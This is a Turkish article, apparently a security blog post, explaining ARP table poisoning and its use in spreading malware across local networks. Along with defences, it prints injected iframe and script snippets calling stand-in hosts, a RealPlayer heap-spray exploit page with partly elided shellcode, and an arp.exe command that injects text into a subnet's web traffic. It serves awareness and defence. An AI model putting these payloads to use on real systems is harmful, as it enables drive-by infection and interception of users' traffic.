ARP SALDIRI SİSTEMİ NEDİR/NE İŞE YARAR
Geçmişten günümüze virüslerin yayılımında gözle görülür şekilde değişiklik meydana gelmiştir. Virüslerin yayılım hızı geçmişte BBS’lerin ve Disketlerin({bilgilerin 3,5 inç ve 5,25 inçlik birimlere sığdırıldığı zamanlarda}) kullanım oranı belirlerdi. Halen 3,5 inçlik disketlerin kullanılmasına rağmen bu birimlerden yayılan virüslerin oranı yok denecek kadar azdır. Artık virüs gibi zararlı yazılımların kullanıcıları etkilemesi için disketlerin bilgisayar kullanıcıları arasında elden ele dolaşmasına gerek kalmadı. Bir virüsün yayılması için başlayan kıtalar arası seyahat geçmişte uzun sürmekte idi. Artık günümüzde bu tür zararlı yazılımların(virüs, trojan, solucan …) yayılma süreci, kıtaların uzaklığına bağlı olmaksızın Internet aracılığıyla kısa sürede gerçekleşmektedir.
“Belirli bir yapı içerisinde birbirine bağlı bilgisayarların birbirini etkileme olasılığı nedir?” sorusu, Virüs, Trojan, Solucan gibi bir aktiviteye yerel ağda(LAN) rastlanıldığında akla gelir. Geçmişten günümüze zararlı uygulamaların gelişim sürecine bakıldığında şu anki varılan noktanın yerel sistemler üzerine yoğunlaştığı görülür. Aynı hiyerarşi üzerinde ne kadar çok bilgisayara ulaşırsam istediğime o kadar çok yakınlaşırım felsefesi benimsemiştir, Virüs/Solucan/Trojan gibi zararlı program(cık) yazarları.
Bir süre önce Metasploit sitesine girenler “hacked by sunwerar! Just for fun” ibaresiyle karşılaştıklarını belirtmişlerdi(Ref .4). Sitede bu ibarenin yer almasının baş nedeni olarak ARP poisoning(ARP Tablo Zehirleme) gösterildi. En yakın bu örnek incelendiğinde aslında bu olay durumun ne kadar vahim bir tehlike arz edeceğini gösterir. ARP Tablo Zehirleme son zamanlarda Trojan vakalarında da kullanılmaktadır. Ortaya çıkan bu tehlikeli durumlar tek bir bilgisayar kullanıcısını etkilemektense yukarıda belirttiğim hedef gibi birden çok kullanıcıdır.
Derinlemesine bir atak tipi ARP Tablo Zehirleme tekniğinin zararlı programların yayılımında kullanılmasının ardında aslında temel bir düşünce vardır. Tek bir hedef üzerinden bir çok konuma dokunuş. Bir çok kullanıcının hedef olmasında ve bu hedeflere ulaşmada arama motorlarından da faydalanılmaktadır. Saldırgan öncelikle arama motorları vasıtasıyla (örn:google,yahoo,altavista) zaaflık içeren sitelere müdahale ederek (Örn: SQL Injectioni) sitelerin sayfalarında değişiklik yapar(Resim 1). Zayıflıktan yararlanılarak değiştirilen bu web sayfalarına bir kod ekler. Bu kod vasıtasıyla siteyi ziyaret edenlerin bilgisayarına zararlı uygulamalar yükler. Bu zararlı uygulamaların kullanıcıların haberi olmadan yüklenmesi için bazı basamakların gerçekleşmesi gerekmektedir. Neticesinde zararlı program kullanıcın sistemine yüklendikten sonra kullanıcı artık zararlı programın işleyişine göre takip edilebilir.

Resim 1
Bu yayılım konusuna ilişkin “Gizli Tehlike” başlıklı yazımda anlatılmıştı(Ref. 1).
Bir yerel ağa bağlı kullanıcı bir web sitesine bağlandığında eğer site tehlikeli bir kod içeriyorsa kullanıcı farkında olmadan başka bir tehlikeli web adresine yönlendirilir. Bu esnada kullanıcının bilgisayarına şifre çalıcı(Örn: infostealer türü) gibi zararlı yazılımların yüklenmesi için bazı basamaklar gerçekleştirilir. Zararlı yazılımın kullanıcı üzerinde etkili olabilmesi için öncelikle sistemine yüklenmesi gerekir. Web üzerinden yazılımın bulaşma süreci, kullanıcının sisteminde bir zaafiyet mevcut ise başlar.
Bir şifre çalıcının sisteme yüklenme aşamasını örnekleyelim.
Kullanıcı, güvenerek bağlandığı www.web_sitesi.net adresinde bir yönlendirme var ise
{Örn: window["x64x6fx63x75x6dx65x6ex74"].write('<iframe width=100 height=0 src=http://site.cn/news.html></iframe>');}
veya site içerisine bir javascript kod eklenmiş ise
{Örn: eval(function(p,a,c,k,e,d). |Real|Tool|cab|x36|exe|x34|x53..'.split('|'),0,{}))</script>}
bu tür işlemlerin temel işlevi sisteme bir dosya aktarmaktır. Kullanıcı siteye bağlandıktan sonra sisteminde bir açıklık tespit etme yoluna gidilir. Eğer sistemde Realplayer, Internet Explorer gibi yazılımlara ait bir sorun tespit edildiğinde kullanıcıya tehlikeli yazılım aktarılır.
Bir çok web sitesi sahipleri sitelerinde iframe ve function(p,a,c,k,e,d) gibi kısımların web sayfalarına eklendiği konusunda uyarılarda bulunduğunu bir çok yerde gördüm. Bu internet sitelerine bağlananlara zararlı yazılım yükleme yoluna giden kişilerin başvurduğu bir yöntemdir. Amaç zararlı yazılımların olabildiğince çok kullanıcıya yüklenmesidir. Web sitesine eklenen bu tür kodlar tek parçadan oluşmaz.
Bu işlemi otomatik olarak yapan yazılımlar Uzakdoğu sitelerinde yer almaktadır. Bu tür yazılımlar sayesinde otomatik olarak kullanıcı zor durumda bırakacak .html türü sayfalar oluşturulup çeşitli sunuculara bu tehlikeli sayfalar aktarılır.
http://web_sitesi.com/Ajax.htm - MDAC Exploit
http://web_sitesi.com/Ms06014.htm - MDAC Exploit
http://web_sitesi.com/Real.gif - RealPlayer Exploit
http://web_sitesi.com/Bfyy.htm - Storm Player Exploit
http://web_sitesi.com/Lz.htm - Ourgame GLWorld Exploit
http://web_sitesi.com/Pps.htm - PowerPlayer Control Exploit
http://web_sitesi.com/XunLei.htm - XunLei Thunder PPlayer Exploit
Yukarıda belirtilen örnek sayfalardan göreceğimiz üzere Realplayer uygulamasındaki bir açıklık kullanıcının sisteminde denecek ve olumlu sonuç elde edildiğinde sisteme bir .exe dosyası yüklenecektir.
Örnek İşlem:
---------------------------------------------
<html>
<head>
<title>Real Player Exploit !</title>
<script language="JavaScript" defer>
function Check() {
var shellcode = unescape("%u4343%u4343%u4343%ua3e9%u0000" +
……2e73%u7865%u0065");
var bigblock = unescape("%u0C0C" + "%u0C0C");
var headersize = 20;
var slackspace = headersize + shellcode.length;
var servicenumber = "qq784378237";
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
var tcp = memory;
for (i = 0; i < 400; i++)
{
tcp[i] = block + shellcode
}
var buf = '';
while (buf.length < 32) buf = buf + unescape("%0C");
var m = '';
m = TcpObj.Console;
TcpObj.Console = buf;
TcpObj.Console = m;
m = TcpObj.Console;
TcpObj.Console = buf;
TcpObj.Console = m;
}
</script>
</head>
<body onload="JavaScript: return Check();">
<object classid="clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93" id="TcpObj">
Loading ...
</object>
</body>
</html>
-------------------------------
Bir tek kullanıcıda gerçekleşen bu tehlikeli durum yerel ağda bulunan diğer kullanıcıları nasıl etkiler? Eğer zararlı kod yazan kişi, ARP (Adres Çözümleme Protokolü) zehirlenmesini kullanırsa yerel ağda bulunan diğer kullanıcılarında tehlike altında kalmasını sağlar.
ARP konusunu bahsedip örneklerle ARP zehirlenmesini açıklayayım.
ARP – Adres Çözümleme Protokolü
Fiziksel adreslere karşılık gelen IPv4 adreslerini belirleyen protokollere Adres Çözümleme Protokolü (ARP) denir (Ref. 3 ~ Sayfa 59).
Adres Çözümleme Protokolünde iki mesaj mevcuttur. Öncelikle ARP isteği(request) gerçekleşir (Resim 2).
Bu istekte "aaa.bbb.ccc.ddd IP adresi kime aitse ise IP adresi eee.fff.ggg.hhh olana söylesin" şeklinde olur.. Mesajı gönderen MAC adresi ve mesajın alması gereken MAC adresi olarak ise tüm cihazlara yayın (broadcast) adresi olan FF:FF:FF:FF:FF:FF yazılır.
Bu mesajın ARP yanıtı (reply); isteği alan bilgisayar, gönderene "göndermiş olduğun mesajda yer alan aaa.bbb.ccc.ddd IP adresinin sahibi benim" şeklinde olur (Resim 3).

Resim 2

Resim 3
Sadece IP adreslerin bilinmesi, bilgilerin doğru hedefe iletimi için yeterli olmamaktadır. Bilginin oluşması ve oluşan bu bilginin kaynaktan doğru hedefe ulaşmasında Adres Çözümleme Protokolünün önemi vardır.
ARP Paket yapısında yer alan Donanım Türü(Hardware) 8 bit uzunluğunda olup değerinin “1” olması Ethernet ağı olduğunu belirtir (Resim 2 ~ Hardware Type: 1 Ethernet). Protokol türü kısmı donanım adresini tanımlar(Resim 3 ~ Protocol 800[Hex] olması Internet Protokolünü belirtir). Gönderilen ve alınan paketin görev tanımlaması Operation kısmında yer alır. Bu kısımda yer alan değer 2 olursa ARP Yanıt, 1 olursa ARP istek olduğu anlaşılır.
Gönderen donanım adres(Sender MAC Address) kısmı ARP Paketini yollayan bilgisayarın Network(Ağ) kartına ait donanım adresini içerir. Gönderen IP adres kısmı(Sender IP Adres) ARP Paketini gönderen bilgisayara ait IP adresini barındırır. Hedef donanım adres (Target MAC Address) kısmı ARP Paketin hangi bilgisayara ulaşması gerekiyorsa ona ait donanım adres bilgisini içerir.
Hedef IP Adres alanı(Target IP Adress) paket hangi IP adresine gönderilecekse o bilgiyi içerir.
ARP tablosunu görmek için bilgisayarınızda “arp –a” komutu kullanılabilirsiniz.
C:> arp -a
Arabirim: 192.168.1.70 --- 0x4
Internet Adresi Fiziksel Adres Tipi
192.168.1.1 00-02-xx-yy-ad-15 dinamik
192.168.1.253 00-0c-tt-zz-6b-5d dinamik
ARP Protokolüne yönelik saldırılar neticesinde, sistemi boğma ,oluşturulan bağlantıya müdahale etme ve dinleme gibi durumlar meydana getirilebilir. ARP zehirlenmesinde saldırgan, birbiri ile bağlantı kuran iki bilgisayar arasına kanca atar ve neticesinde bilgi akışının kendi üzerinden gerçekleşmesini olanak sağlar ve bilgi paketlerini bilgisayarlar arasında istediği gibi yönlendirir.
ARP atağından önceki arp tablosu:
root@Eregli:~ # arp -a
(193.1.8.107) at 00:xx:0C:69:xx:43 [ether] on br0
(193.1.8.212) at 00:0F:xx:xx:5C:8A [ether] on br0
(193.1.8.101) at 00:0E:xx:74:xx:75 [ether] on br0
(193.1.8.104) at 00:0E:xx:xx:E3:79 [ether] on br0
(193.1.8.248) at 00:xx:29:xx:B2:90 [ether] on br0
(193.1.8.56) at 00:0E:xx:74:8D:xx [ether] on br0
(193.1.8.70) at 00:0E:xx:xx:38:04 [ether] on br0
ARP atağının gerçekleştiği andaki arp tablosu:
root@Eregli:~ # arp –a
(193.1.8.107) at 00:xx:29:xx:B2:90 [ether] on br0
(193.1.8.101) at 00:xx:29:xx:B2:90 [ether] on br0
(193.1.8.248) at 00:xx:29:xx:B2:90 [ether] on br0 <------------Dikkat.
(193.1.8.70) at 00:xx:29:xx:B2:90 [ether] on br0
Yukarı kısımda ARP atak öncesi ve sonrası ARP tablosu görülmektedir. Durum analizi yapıldığında 193.1.8.248 IP adresine ait MAC adresinin diğer IP adreslerinde de aynı olduğu görülüyor.
Bu bilgisayara dikkat etmek gerekir. Bu bilgisayar üzerinden yerel ağdaki diğer bilgisayarlara kanca atıldığı fark edilir(Resim 4).

Resim 4
ARP saldırıları genellikle ağ ortamını takip etmek(sniff) için kullanılır. Bu tür saldırıların 1-2 programla yapıldığını öğrenen kişiler genellikle internet kafelerde ağı boğup MSN konuşmalarını takip etmek için kullanır ve bilgi becerisine gerek kalmadan yapılır.
Oldukçada popülerdir. Bu nedenle ARP saldırısı denildiğinde birçok kişinin aklına MSN üzerinden yapılan konuşların takip edilmesi akla gelir. Bu tür saldırıların zararlı yazılımlara birlikte koordineli şekilde kullanımı son zamanlarda artmıştır. Özellikle Uzakdoğu kaynaklı Virüs/Trojan ataklarında ARP saldırı tekniğinin kullanım oranında artma olduğu görülmüştür.
Yerel ağda bir kullanıcı web sitelerini gezdiği esnada web sitelerinden birinde kullanıcının bilgisayarına downloader türü tehlikeli bir yazılım yüklediğinde bulaşma işlemi gerçekleşmiş olur (Resim 5).

Resim 5
Yüklenen bu downloader kullanıcının bilgisayarında ne tür bir etki yapar? Downloaderin görevi kullanıcının bilgisayarına kendisine belirtilen direktife göre zararlı yazılımların otomatik olarak yüklenmesini sağlar. Downloaderin boyutu küçük olduğundan sisteme öncelikle bu tür yükleyicilerin aktarılması saldırganlar tarafından başvurulan bir yöntemdir. Downloaderin görevi sadece sisteme dosya/dosyaların Internet üzerinden yüklemesini sağlamaktır. Downloader asıl zararlı programları sisteme aktarır. Sisteme aktarılan program ARP Zehirlenmesini gerçekleştirerek sistemdeki tüm kullanıcıları etkiler. Bu saldırı metoduyla kullanıcılar hangi internet sayfasını ziyaret ederse etsin, arka planda kendilerine zararlı program yüklenmesi sağlanılacaktır (Resim 6).

Resim 6
Downloader ile sisteme entegre edilip başlangıçta çalışan zararlı yazılımları Resim 7 de görebilirsiniz. Sisteminizde başlangıçta çalışan uygulamaları görmek için BAŞLAT --> ÇALIŞTIR --> msconfig yazıp Tamam dedikten sonra çalışan yapılandırma programındaki Başlangıç kısmından görebilirsiniz (eğer Rootkit özellikleri içermiyorsa).

Resim 7
ARP Zehirlenmesine neden olan uygulama aslında sisteme zararlı yazılımın bulaşma sürecindeki bir başlangıçtır. Temel hedef kullanıcılara asıl zarar verecek olan yazılımın yüklenmesidir. Bu yazılımın kullanıcının yapmış olduğu bankacılık işlemlerini takip edebilir, gerekli şifreleri çalabilir ve hatta sahte bir banka sitesine bile yönlendirebilir. Sistemin ARP Zehirlenmesine maruz kalması sonucu kullanıcıların bilgi akışına
{iframe src=x.web_site.cn/ width=0 height=0 frameborder=0></iframe}
gibi bir kod parçası eklenerek kullanıcıdan habersiz sistemine gerekli program parçaları aktarılır (Resim
.
Bu nedenle internet sayfalarında gezinirken sayfalarda yer alan {script src=http://web_site.cn/1.js></script} gibi ibarelere dikkat etmek gerekir. Özellikle site sahipleri dikkat etmeli. Çünkü kendilerinden habersiz web sayfalarına bu tür kodlar eklenebilir. Bu tür kodların sitelere eklenebilmesi için sunucudaki bir uygulamada ya da bir betikte(.asp,.phpi) açık meydana gelmesi gerekir.

Resim 8
ARP Tablo zehirlenmesinde kullanılan bir uygulama ve yerel ağa etkisi:
arp.exe -idx 0 -ip 193.1.8.1-193.1.8.250 -port 80 -insert "Hack by Asparajin.Sadece eglence...!!<noframes>"
Yukarıdaki uygulama der ki: 193.1.8 serisi ile başlayan IP lerin 80 numaralı portuna kancayı atıp, oluşan isteklerin yanıtına "Hack by Asparajin.Sadece eglence...!!” bilgisini ekle(Resim 9 – 10 - 11)

Resim 9

Resim 10

Resim 11
Örneklerde görüldüğü gibi yerel ağdaki kullanıcılara ait bilgi paketleri istenildiği gibi yönlendirilebilmektedir. Bunun en son örneğini makalenin girişinde bahsettiğim gibi metasploit sitesinde görülmüştü.
Ayrıca yerel ağdaki kullanıcıların ziyaret ettiği web sitelerinde yer alan resimleri değiştirmekte mümkündür. Bu ARP zehirlenmesinde kullanılan yöntemlerden biridir(Resim 12 – 13).

Resim 12

Resim 13
Pakette yer alan SRC ifadesi başka bir bilgi ile değiştirilir ve web sayfalarındaki resimler başka bir adres tarafından alınır(Resim 14).

Resim 14
Yerel ağdaki bilgisayarlar arasında meydana gelen bağlantıdaki yavaşlama ARP saldırısının sonucunda meydana geleceğini göz ardı etmemek gerekir. Düzensizce yapılan ARP atakları yerel ağı boğar ve tıkanma noktasına gelir. Sonuçta da kullanıcılar “hiç bir yere bağlanamıyorum” gibi sözlerle etrafa bakınırlar. ARP tablo zehirleme yöntemiyle yayılmaya çalışılan zararlı yazılımlara engel olunamaz mı?
ARP ataklarının önüne geçmez biraz zordur. Bilinçsizce yapılan bu tür saldırı sistemde DoS etkisi yapar. Yerel ağda kullanılan ağ donanımın özellikleri ve iyi yapılandırılması ARP ataklarını engelleyebilir. Fakat ARP’ye karşı yapılan ataklardan korunmak belirtildiği gibi güçtür. Küçük bir yerel ağda koruma için ARP tablosuna static girdiler oluşturmak bu atakların önüne geçmede yardımcı olur. Yerel ağda bulunan tüm bilgisayarlara IP adres ve MAC adresleri tablo içerisine tanımlama yapılması gerekir. Böylece tablo girdileri static olduğundan IP – MAC güncellenmesi gecersizleşir.
Aşağıda örnek bir .bat dosyası mevcuttur. Kendi sisteminize göre düzenleyebilirsiniz. Sistemdeki bilgisayarlara ait IP ve MAC adreslerini bu .bat dosyasına ekleyebilirsiniz.
@REM ARP tablosuna statik giris
@ECHO OFF
arp -s 192.168.1.1 00-02-00-87-51-15
arp -s 192.168.1.33 00-0c-29-60-03-03
arp -s 192.168.1.70 00-16-76-d7-ca-53
arp -s 192.168.1.253 00-0c-29-80-6b-5d
Bu yöntem büyük ağa sahip sistemler için zahmetli ve uğraşması güçtür. ARP paketlerini inceleyerek yerel ağda gezinen sahte ARP paketlerini inceleyen donanımsal ürünlerin mevcut olduğu belirtilmektedir. Yazılımsal olarak yerel ağda ARP paketlerini inceleyip gerekli analizleri yapabilen uygulamalarla bu tür sorunun varlığı tespit edilir.
www.tr-arsivim.tr.gg